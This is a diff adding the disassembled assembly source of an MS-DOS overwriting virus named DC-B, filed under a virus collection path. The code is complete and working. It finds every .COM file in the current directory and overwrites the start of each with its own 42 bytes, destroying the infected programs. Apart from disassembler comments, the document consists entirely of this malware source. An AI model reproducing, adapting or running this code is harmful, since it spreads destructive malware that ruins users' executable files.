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MSDOS/D-Index/Virus.MSDOS.Unknown.dc-b.asm

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+PAGE  59,132
+
+;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
+;ÛÛ								         ÛÛ
+;ÛÛ			        DC-B				         ÛÛ
+;ÛÛ								         ÛÛ
+;ÛÛ      Created:   26-Dec-91					         ÛÛ
+;ÛÛ      Passes:    5	       Analysis Options on: none	         ÛÛ
+;ÛÛ								         ÛÛ
+;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
+
+data_009E_e	equ	9Eh
+
+seg_a		segment	byte public
+		assume	cs:seg_a, ds:seg_a
+
+
+		org	100h
+
+
+start:
+		mov	ah,4Eh			; 'N'
+		mov	dx,offset data_0124
+		int	21h			; DOS Services  ah=function 4Eh
+						;  find 1st filenam match @ds:dx
+loc_0107:
+		mov	ax,3D01h
+		mov	dx,data_009E_e
+		int	21h			; DOS Services  ah=function 3Dh
+						;  open file, al=mode,name@ds:dx
+		xchg	ax,bx
+		mov	ah,40h			; '@'
+		mov	cl,2Ah			; '*'
+		mov	dx,100h
+		int	21h			; DOS Services  ah=function 40h
+						;  write file  bx=file handle
+						;   cx=bytes from ds:dx buffer
+		mov	ah,3Eh			; '>'
+		int	21h			; DOS Services  ah=function 3Eh
+						;  close file, bx=file handle
+		mov	ah,4Fh			; 'O'
+		int	21h			; DOS Services  ah=function 4Fh
+						;  find next filename match
+		jnc	loc_0107		; Jump if carry=0
+		retn
+data_0124	db	2Ah
+		db	 2Eh, 43h, 4Fh, 4Dh, 00h
+
+
+seg_a		ends
+
+
+
+		end	start